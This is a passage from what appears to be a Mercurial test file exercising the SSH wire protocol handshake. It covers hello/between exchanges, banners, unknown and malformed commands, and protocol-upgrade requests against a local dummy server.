119 119 capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
120 120
121 121 $ cat $TESTTMP/io
122 122 o> write(4) -> 4:
123 123 o> 413\n
124 124 o> write(413) -> 413:
125 125 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
126 126 o> flush() -> None
127 127
128 128 $ cd ..
129 129
130 130 >=0.9.1 clients send a "hello" + "between" for the null range as part of handshake.
131 131 Server should reply with capabilities and should send "1\n\n" as a successful
132 132 reply with empty response to the "between".
133 133
134 134 $ hg -R server debugwireproto --localssh --peer raw << EOF
135 135 > raw
136 136 > hello\n
137 137 > readline
138 138 > readline
139 139 > raw
140 140 > between\n
141 141 > pairs 81\n
142 142 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
143 143 > readline
144 144 > readline
145 145 > EOF
146 146 using raw connection to peer
147 147 i> write(6) -> 6:
148 148 i> hello\n
149 149 o> readline() -> 4:
150 150 o> 413\n
151 151 o> readline() -> 413:
152 152 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
153 153 i> write(98) -> 98:
154 154 i> between\n
155 155 i> pairs 81\n
156 156 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
157 157 o> readline() -> 2:
158 158 o> 1\n
159 159 o> readline() -> 1:
160 160 o> \n
161 161
162 162 SSH banner is not printed by default, ignored by clients
163 163
164 164 $ SSHSERVERMODE=banner hg debugpeer ssh://user@dummy/server
165 165 url: ssh://user@dummy/server
166 166 local: no
167 167 pushable: yes
168 168
169 169 --debug will print the banner
170 170
171 171 $ SSHSERVERMODE=banner hg --debug debugpeer ssh://user@dummy/server
172 172 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
173 173 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
174 174 devel-peer-request: hello+between
175 175 devel-peer-request: pairs: 81 bytes
176 176 sending hello command
177 177 sending between command
178 178 remote: banner: line 0
179 179 remote: banner: line 1
180 180 remote: banner: line 2
181 181 remote: banner: line 3
182 182 remote: banner: line 4
183 183 remote: banner: line 5
184 184 remote: banner: line 6
185 185 remote: banner: line 7
186 186 remote: banner: line 8
187 187 remote: banner: line 9
188 188 remote: 413
189 189 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
190 190 remote: 1
191 191 devel-peer-request: protocaps
192 192 devel-peer-request: caps: * bytes (glob)
193 193 sending protocaps command
194 194 url: ssh://user@dummy/server
195 195 local: no
196 196 pushable: yes
197 197
198 198 And test the banner with the raw protocol
199 199
200 200 $ SSHSERVERMODE=banner hg -R server debugwireproto --localssh --peer raw << EOF
201 201 > raw
202 202 > hello\n
203 203 > readline
204 204 > readline
205 205 > readline
206 206 > readline
207 207 > readline
208 208 > readline
209 209 > readline
210 210 > readline
211 211 > readline
212 212 > readline
213 213 > readline
214 214 > readline
215 215 > raw
216 216 > between\n
217 217 > pairs 81\n
218 218 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
219 219 > readline
220 220 > readline
221 221 > EOF
222 222 using raw connection to peer
223 223 i> write(6) -> 6:
224 224 i> hello\n
225 225 o> readline() -> 15:
226 226 o> banner: line 0\n
227 227 o> readline() -> 15:
228 228 o> banner: line 1\n
229 229 o> readline() -> 15:
230 230 o> banner: line 2\n
231 231 o> readline() -> 15:
232 232 o> banner: line 3\n
233 233 o> readline() -> 15:
234 234 o> banner: line 4\n
235 235 o> readline() -> 15:
236 236 o> banner: line 5\n
237 237 o> readline() -> 15:
238 238 o> banner: line 6\n
239 239 o> readline() -> 15:
240 240 o> banner: line 7\n
241 241 o> readline() -> 15:
242 242 o> banner: line 8\n
243 243 o> readline() -> 15:
244 244 o> banner: line 9\n
245 245 o> readline() -> 4:
246 246 o> 413\n
247 247 o> readline() -> 413:
248 248 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
249 249 i> write(98) -> 98:
250 250 i> between\n
251 251 i> pairs 81\n
252 252 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
253 253 o> readline() -> 2:
254 254 o> 1\n
255 255 o> readline() -> 1:
256 256 o> \n
257 257
258 258 Connecting to a <0.9.1 server that doesn't support the hello command.
259 259 The client should refuse, as we dropped support for connecting to such
260 260 servers.
261 261
262 262 $ SSHSERVERMODE=no-hello hg --debug debugpeer ssh://user@dummy/server
263 263 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
264 264 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
265 265 devel-peer-request: hello+between
266 266 devel-peer-request: pairs: 81 bytes
267 267 sending hello command
268 268 sending between command
269 269 remote: 0
270 270 remote: 1
271 271 abort: no suitable response from remote hg!
272 272 [255]
273 273
274 274 Sending an unknown command to the server results in an empty response to that command
275 275
276 276 $ hg -R server debugwireproto --localssh --peer raw << EOF
277 277 > raw
278 278 > pre-hello\n
279 279 > readline
280 280 > raw
281 281 > hello\n
282 282 > readline
283 283 > raw
284 284 > between\n
285 285 > pairs 81\n
286 286 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
287 287 > readline
288 288 > readline
289 289 > EOF
290 290 using raw connection to peer
291 291 i> write(10) -> 10:
292 292 i> pre-hello\n
293 293 o> readline() -> 2:
294 294 o> 0\n
295 295 i> write(6) -> 6:
296 296 i> hello\n
297 297 o> readline() -> 4:
298 298 o> 413\n
299 299 i> write(98) -> 98:
300 300 i> between\n
301 301 i> pairs 81\n
302 302 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
303 303 o> readline() -> 413:
304 304 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
305 305 o> readline() -> 2:
306 306 o> 1\n
307 307
308 308 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-no-args --debug debugpeer ssh://user@dummy/server
309 309 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
310 310 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
311 311 sending no-args command
312 312 devel-peer-request: hello+between
313 313 devel-peer-request: pairs: 81 bytes
314 314 sending hello command
315 315 sending between command
316 316 remote: 0
317 317 remote: 413
318 318 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
319 319 remote: 1
320 320 devel-peer-request: protocaps
321 321 devel-peer-request: caps: * bytes (glob)
322 322 sending protocaps command
323 323 url: ssh://user@dummy/server
324 324 local: no
325 325 pushable: yes
326 326
327 327 Send multiple unknown commands before hello
328 328
329 329 $ hg -R server debugwireproto --localssh --peer raw << EOF
330 330 > raw
331 331 > unknown1\n
332 332 > readline
333 333 > raw
334 334 > unknown2\n
335 335 > readline
336 336 > raw
337 337 > unknown3\n
338 338 > readline
339 339 > raw
340 340 > hello\n
341 341 > readline
342 342 > readline
343 343 > raw
344 344 > between\n
345 345 > pairs 81\n
346 346 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
347 347 > readline
348 348 > readline
349 349 > EOF
350 350 using raw connection to peer
351 351 i> write(9) -> 9:
352 352 i> unknown1\n
353 353 o> readline() -> 2:
354 354 o> 0\n
355 355 i> write(9) -> 9:
356 356 i> unknown2\n
357 357 o> readline() -> 2:
358 358 o> 0\n
359 359 i> write(9) -> 9:
360 360 i> unknown3\n
361 361 o> readline() -> 2:
362 362 o> 0\n
363 363 i> write(6) -> 6:
364 364 i> hello\n
365 365 o> readline() -> 4:
366 366 o> 413\n
367 367 o> readline() -> 413:
368 368 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
369 369 i> write(98) -> 98:
370 370 i> between\n
371 371 i> pairs 81\n
372 372 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
373 373 o> readline() -> 2:
374 374 o> 1\n
375 375 o> readline() -> 1:
376 376 o> \n
377 377
378 378 $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-multiple-no-args --debug debugpeer ssh://user@dummy/server
379 379 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
380 380 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
381 381 sending unknown1 command
382 382 sending unknown2 command
383 383 sending unknown3 command
384 384 devel-peer-request: hello+between
385 385 devel-peer-request: pairs: 81 bytes
386 386 sending hello command
387 387 sending between command
388 388 remote: 0
389 389 remote: 0
390 390 remote: 0
391 391 remote: 413
392 392 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
393 393 remote: 1
394 394 devel-peer-request: protocaps
395 395 devel-peer-request: caps: * bytes (glob)
396 396 sending protocaps command
397 397 url: ssh://user@dummy/server
398 398 local: no
399 399 pushable: yes
400 400
401 401 Send an unknown command before hello that has arguments
402 402
403 403 $ cd server
404 404
405 405 $ hg debugwireproto --localssh --peer raw << EOF
406 406 > raw
407 407 > with-args\n
408 408 > foo 13\n
409 409 > value for foo\n
410 410 > bar 13\n
411 411 > value for bar\n
412 412 > readline
413 413 > readline
414 414 > readline
415 415 > readline
416 416 > readline
417 417 > raw
418 418 > hello\n
419 419 > readline
420 420 > readline
421 421 > raw
422 422 > between\n
423 423 > pairs 81\n
424 424 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
425 425 > readline
426 426 > readline
427 427 > EOF
428 428 using raw connection to peer
429 429 i> write(52) -> 52:
430 430 i> with-args\n
431 431 i> foo 13\n
432 432 i> value for foo\n
433 433 i> bar 13\n
434 434 i> value for bar\n
435 435 o> readline() -> 2:
436 436 o> 0\n
437 437 o> readline() -> 2:
438 438 o> 0\n
439 439 o> readline() -> 2:
440 440 o> 0\n
441 441 o> readline() -> 2:
442 442 o> 0\n
443 443 o> readline() -> 2:
444 444 o> 0\n
445 445 i> write(6) -> 6:
446 446 i> hello\n
447 447 o> readline() -> 4:
448 448 o> 413\n
449 449 o> readline() -> 413:
450 450 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
451 451 i> write(98) -> 98:
452 452 i> between\n
453 453 i> pairs 81\n
454 454 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
455 455 o> readline() -> 2:
456 456 o> 1\n
457 457 o> readline() -> 1:
458 458 o> \n
459 459
460 460 Send an unknown command having an argument that looks numeric
461 461
462 462 $ hg debugwireproto --localssh --peer raw << EOF
463 463 > raw
464 464 > unknown\n
465 465 > foo 1\n
466 466 > 0\n
467 467 > readline
468 468 > readline
469 469 > readline
470 470 > raw
471 471 > hello\n
472 472 > readline
473 473 > readline
474 474 > raw
475 475 > between\n
476 476 > pairs 81\n
477 477 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
478 478 > readline
479 479 > readline
480 480 > EOF
481 481 using raw connection to peer
482 482 i> write(16) -> 16:
483 483 i> unknown\n
484 484 i> foo 1\n
485 485 i> 0\n
486 486 o> readline() -> 2:
487 487 o> 0\n
488 488 o> readline() -> 2:
489 489 o> 0\n
490 490 o> readline() -> 2:
491 491 o> 0\n
492 492 i> write(6) -> 6:
493 493 i> hello\n
494 494 o> readline() -> 4:
495 495 o> 413\n
496 496 o> readline() -> 413:
497 497 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
498 498 i> write(98) -> 98:
499 499 i> between\n
500 500 i> pairs 81\n
501 501 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
502 502 o> readline() -> 2:
503 503 o> 1\n
504 504 o> readline() -> 1:
505 505 o> \n
506 506
507 507 $ hg debugwireproto --localssh --peer raw << EOF
508 508 > raw
509 509 > unknown\n
510 510 > foo 1\n
511 511 > 1\n
512 512 > readline
513 513 > readline
514 514 > readline
515 515 > raw
516 516 > hello\n
517 517 > readline
518 518 > readline
519 519 > raw
520 520 > between\n
521 521 > pairs 81\n
522 522 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
523 523 > readline
524 524 > readline
525 525 > EOF
526 526 using raw connection to peer
527 527 i> write(16) -> 16:
528 528 i> unknown\n
529 529 i> foo 1\n
530 530 i> 1\n
531 531 o> readline() -> 2:
532 532 o> 0\n
533 533 o> readline() -> 2:
534 534 o> 0\n
535 535 o> readline() -> 2:
536 536 o> 0\n
537 537 i> write(6) -> 6:
538 538 i> hello\n
539 539 o> readline() -> 4:
540 540 o> 413\n
541 541 o> readline() -> 413:
542 542 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
543 543 i> write(98) -> 98:
544 544 i> between\n
545 545 i> pairs 81\n
546 546 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
547 547 o> readline() -> 2:
548 548 o> 1\n
549 549 o> readline() -> 1:
550 550 o> \n
551 551
552 552 When sending a dict argument value, it is serialized to
553 553 "<arg> <item count>" followed by "<key> <len>\n<value>" for each item
554 554 in the dict.
555 555
556 556 Dictionary value for unknown command
557 557
558 558 $ hg debugwireproto --localssh --peer raw << EOF
559 559 > raw
560 560 > unknown\n
561 561 > dict 3\n
562 562 > key1 3\n
563 563 > foo\n
564 564 > key2 3\n
565 565 > bar\n
566 566 > key3 3\n
567 567 > baz\n
568 568 > readline
569 569 > readline
570 570 > readline
571 571 > readline
572 572 > readline
573 573 > readline
574 574 > readline
575 575 > readline
576 576 > raw
577 577 > hello\n
578 578 > readline
579 579 > readline
580 580 > EOF
581 581 using raw connection to peer
582 582 i> write(48) -> 48:
583 583 i> unknown\n
584 584 i> dict 3\n
585 585 i> key1 3\n
586 586 i> foo\n
587 587 i> key2 3\n
588 588 i> bar\n
589 589 i> key3 3\n
590 590 i> baz\n
591 591 o> readline() -> 2:
592 592 o> 0\n
593 593 o> readline() -> 2:
594 594 o> 0\n
595 595 o> readline() -> 2:
596 596 o> 0\n
597 597 o> readline() -> 2:
598 598 o> 0\n
599 599 o> readline() -> 2:
600 600 o> 0\n
601 601 o> readline() -> 2:
602 602 o> 0\n
603 603 o> readline() -> 2:
604 604 o> 0\n
605 605 o> readline() -> 2:
606 606 o> 0\n
607 607 i> write(6) -> 6:
608 608 i> hello\n
609 609 o> readline() -> 4:
610 610 o> 413\n
611 611 o> readline() -> 413:
612 612 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
613 613
614 614 Incomplete dictionary send
615 615
616 616 $ hg debugwireproto --localssh --peer raw << EOF
617 617 > raw
618 618 > unknown\n
619 619 > dict 3\n
620 620 > key1 3\n
621 621 > foo\n
622 622 > readline
623 623 > readline
624 624 > readline
625 625 > readline
626 626 > EOF
627 627 using raw connection to peer
628 628 i> write(26) -> 26:
629 629 i> unknown\n
630 630 i> dict 3\n
631 631 i> key1 3\n
632 632 i> foo\n
633 633 o> readline() -> 2:
634 634 o> 0\n
635 635 o> readline() -> 2:
636 636 o> 0\n
637 637 o> readline() -> 2:
638 638 o> 0\n
639 639 o> readline() -> 2:
640 640 o> 0\n
641 641
642 642 Incomplete value send
643 643
644 644 $ hg debugwireproto --localssh --peer raw << EOF
645 645 > raw
646 646 > unknown\n
647 647 > dict 3\n
648 648 > key1 3\n
649 649 > fo
650 650 > readline
651 651 > readline
652 652 > readline
653 653 > EOF
654 654 using raw connection to peer
655 655 i> write(24) -> 24:
656 656 i> unknown\n
657 657 i> dict 3\n
658 658 i> key1 3\n
659 659 i> fo
660 660 o> readline() -> 2:
661 661 o> 0\n
662 662 o> readline() -> 2:
663 663 o> 0\n
664 664 o> readline() -> 2:
665 665 o> 0\n
666 666
667 667 Send a command line with spaces
668 668
669 669 $ hg debugwireproto --localssh --peer raw << EOF
670 670 > raw
671 671 > unknown withspace\n
672 672 > readline
673 673 > raw
674 674 > hello\n
675 675 > readline
676 676 > readline
677 677 > raw
678 678 > between\n
679 679 > pairs 81\n
680 680 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
681 681 > readline
682 682 > readline
683 683 > EOF
684 684 using raw connection to peer
685 685 i> write(18) -> 18:
686 686 i> unknown withspace\n
687 687 o> readline() -> 2:
688 688 o> 0\n
689 689 i> write(6) -> 6:
690 690 i> hello\n
691 691 o> readline() -> 4:
692 692 o> 413\n
693 693 o> readline() -> 413:
694 694 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
695 695 i> write(98) -> 98:
696 696 i> between\n
697 697 i> pairs 81\n
698 698 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
699 699 o> readline() -> 2:
700 700 o> 1\n
701 701 o> readline() -> 1:
702 702 o> \n
703 703
704 704 $ hg debugwireproto --localssh --peer raw << EOF
705 705 > raw
706 706 > unknown with multiple spaces\n
707 707 > readline
708 708 > raw
709 709 > hello\n
710 710 > readline
711 711 > readline
712 712 > raw
713 713 > between\n
714 714 > pairs 81\n
715 715 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
716 716 > readline
717 717 > EOF
718 718 using raw connection to peer
719 719 i> write(29) -> 29:
720 720 i> unknown with multiple spaces\n
721 721 o> readline() -> 2:
722 722 o> 0\n
723 723 i> write(6) -> 6:
724 724 i> hello\n
725 725 o> readline() -> 4:
726 726 o> 413\n
727 727 o> readline() -> 413:
728 728 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
729 729 i> write(98) -> 98:
730 730 i> between\n
731 731 i> pairs 81\n
732 732 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
733 733 o> readline() -> 2:
734 734 o> 1\n
735 735
736 736 $ hg debugwireproto --localssh --peer raw << EOF
737 737 > raw
738 738 > unknown with spaces\n
739 739 > key 10\n
740 740 > some value\n
741 741 > readline
742 742 > readline
743 743 > readline
744 744 > raw
745 745 > hello\n
746 746 > readline
747 747 > readline
748 748 > raw
749 749 > between\n
750 750 > pairs 81\n
751 751 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
752 752 > readline
753 753 > readline
754 754 > EOF
755 755 using raw connection to peer
756 756 i> write(38) -> 38:
757 757 i> unknown with spaces\n
758 758 i> key 10\n
759 759 i> some value\n
760 760 o> readline() -> 2:
761 761 o> 0\n
762 762 o> readline() -> 2:
763 763 o> 0\n
764 764 o> readline() -> 2:
765 765 o> 0\n
766 766 i> write(6) -> 6:
767 767 i> hello\n
768 768 o> readline() -> 4:
769 769 o> 413\n
770 770 o> readline() -> 413:
771 771 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
772 772 i> write(98) -> 98:
773 773 i> between\n
774 774 i> pairs 81\n
775 775 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
776 776 o> readline() -> 2:
777 777 o> 1\n
778 778 o> readline() -> 1:
779 779 o> \n
780 780 Send an unknown command after the "between"
781 781
782 782 $ hg debugwireproto --localssh --peer raw << EOF
783 783 > raw
784 784 > hello\n
785 785 > readline
786 786 > readline
787 787 > raw
788 788 > between\n
789 789 > pairs 81\n
790 790 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
791 791 > readline
792 792 > readline
793 793 > EOF
794 794 using raw connection to peer
795 795 i> write(6) -> 6:
796 796 i> hello\n
797 797 o> readline() -> 4:
798 798 o> 413\n
799 799 o> readline() -> 413:
800 800 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
801 801 i> write(105) -> 105:
802 802 i> between\n
803 803 i> pairs 81\n
804 804 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000unknown
805 805 o> readline() -> 2:
806 806 o> 1\n
807 807 o> readline() -> 1:
808 808 o> \n
809 809
810 810 And one with arguments
811 811
812 812 $ hg debugwireproto --localssh --peer raw << EOF
813 813 > raw
814 814 > hello\n
815 815 > between\n
816 816 > pairs 81\n
817 817 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
818 818 > readline
819 819 > readline
820 820 > readline
821 821 > readline
822 822 > raw
823 823 > unknown\n
824 824 > foo 5\n
825 825 > \nvalue\n
826 826 > bar 3\n
827 827 > baz\n
828 828 > readline
829 829 > readline
830 830 > readline
831 831 > EOF
832 832 using raw connection to peer
833 833 i> write(104) -> 104:
834 834 i> hello\n
835 835 i> between\n
836 836 i> pairs 81\n
837 837 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
838 838 o> readline() -> 4:
839 839 o> 413\n
840 840 o> readline() -> 413:
841 841 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
842 842 o> readline() -> 2:
843 843 o> 1\n
844 844 o> readline() -> 1:
845 845 o> \n
846 846 i> write(31) -> 31:
847 847 i> unknown\n
848 848 i> foo 5\n
849 849 i> \n
850 850 i> value\n
851 851 i> bar 3\n
852 852 i> baz\n
853 853 o> readline() -> 2:
854 854 o> 0\n
855 855 o> readline() -> 2:
856 856 o> 0\n
857 857 o> readline() -> 0:
858 858
859 859 Send a valid command before the handshake
860 860
861 861 $ hg debugwireproto --localssh --peer raw << EOF
862 862 > raw
863 863 > heads\n
864 864 > readline
865 865 > raw
866 866 > hello\n
867 867 > between\n
868 868 > pairs 81\n
869 869 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
870 870 > readline
871 871 > readline
872 872 > readline
873 873 > readline
874 874 > EOF
875 875 using raw connection to peer
876 876 i> write(6) -> 6:
877 877 i> heads\n
878 878 o> readline() -> 3:
879 879 o> 41\n
880 880 i> write(104) -> 104:
881 881 i> hello\n
882 882 i> between\n
883 883 i> pairs 81\n
884 884 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
885 885 o> readline() -> 41:
886 886 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
887 887 o> readline() -> 4:
888 888 o> 413\n
889 889 o> readline() -> 413:
890 890 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
891 891 o> readline() -> 2:
892 892 o> 1\n
893 893
894 894 And a variation that doesn't send the between command
895 895
896 896 $ hg debugwireproto --localssh --peer raw << EOF
897 897 > raw
898 898 > heads\n
899 899 > readline
900 900 > raw
901 901 > hello\n
902 902 > readline
903 903 > readline
904 904 > EOF
905 905 using raw connection to peer
906 906 i> write(6) -> 6:
907 907 i> heads\n
908 908 o> readline() -> 3:
909 909 o> 41\n
910 910 i> write(6) -> 6:
911 911 i> hello\n
912 912 o> readline() -> 41:
913 913 o> 68986213bd4485ea51533535e3fc9e78007a711f\n
914 914 o> readline() -> 4:
915 915 o> 413\n
916 916
917 917 Send an upgrade request to a server that doesn't support that command
918 918
919 919 $ hg debugwireproto --localssh --peer raw << EOF
920 920 > raw
921 921 > upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
922 922 > readline
923 923 > raw
924 924 > hello\n
925 925 > between\n
926 926 > pairs 81\n
927 927 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
928 928 > readline
929 929 > readline
930 930 > readline
931 931 > readline
932 932 > EOF
933 933 using raw connection to peer
934 934 i> write(77) -> 77:
935 935 i> upgrade 2e82ab3f-9ce3-4b4e-8f8c-6fd1c0e9e23a proto=irrelevant1%2Cirrelevant2\n
936 936 o> readline() -> 2:
937 937 o> 0\n
938 938 i> write(104) -> 104:
939 939 i> hello\n
940 940 i> between\n
941 941 i> pairs 81\n
942 942 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
943 943 o> readline() -> 4:
944 944 o> 413\n
945 945 o> readline() -> 413:
946 946 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
947 947 o> readline() -> 2:
948 948 o> 1\n
949 949 o> readline() -> 1:
950 950 o> \n
951 951
952 952 $ cd ..
953 953
954 954 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
955 955 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
956 956 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
957 957 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
958 958 devel-peer-request: hello+between
959 959 devel-peer-request: pairs: 81 bytes
960 960 sending hello command
961 961 sending between command
962 962 remote: 0
963 963 remote: 413
964 964 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
965 965 remote: 1
966 966 devel-peer-request: protocaps
967 967 devel-peer-request: caps: * bytes (glob)
968 968 sending protocaps command
969 969 url: ssh://user@dummy/server
970 970 local: no
971 971 pushable: yes
972 972
973 973 Enable version 2 support on server. We need to do this in hgrc because we can't
974 974 use --config with `hg serve --stdio`.
975 975
976 976 $ cat >> server/.hg/hgrc << EOF
977 977 > [experimental]
978 978 > sshserver.support-v2 = true
979 979 > EOF
980 980
981 981 Send an upgrade request to a server that supports upgrade
982 982
983 983 $ cd server
984 984
985 985 $ hg debugwireproto --localssh --peer raw << EOF
986 986 > raw
987 987 > upgrade this-is-some-token proto=exp-ssh-v2-0001\n
988 988 > hello\n
989 989 > between\n
990 990 > pairs 81\n
991 991 > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
992 992 > readline
993 993 > readline
994 994 > readline
995 995 > EOF
996 996 using raw connection to peer
997 997 i> write(153) -> 153:
998 998 i> upgrade this-is-some-token proto=exp-ssh-v2-0001\n
999 999 i> hello\n
1000 1000 i> between\n
1001 1001 i> pairs 81\n
1002 1002 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1003 1003 o> readline() -> 44:
1004 1004 o> upgraded this-is-some-token exp-ssh-v2-0001\n
1005 1005 o> readline() -> 4:
1006 1006 o> 412\n
1007 1007 o> readline() -> 413:
1008 1008 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
1009 1009
1010 1010 $ cd ..
1011 1011
1012 1012 $ hg --config experimental.sshpeer.advertise-v2=true --debug debugpeer ssh://user@dummy/server
1013 1013 running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !)
1014 1014 running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !)
1015 1015 sending upgrade request: * proto=exp-ssh-v2-0001 (glob)
1016 1016 devel-peer-request: hello+between
1017 1017 devel-peer-request: pairs: 81 bytes
1018 1018 sending hello command
1019 1019 sending between command
1020 1020 protocol upgraded to exp-ssh-v2-0001
1021 1021 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
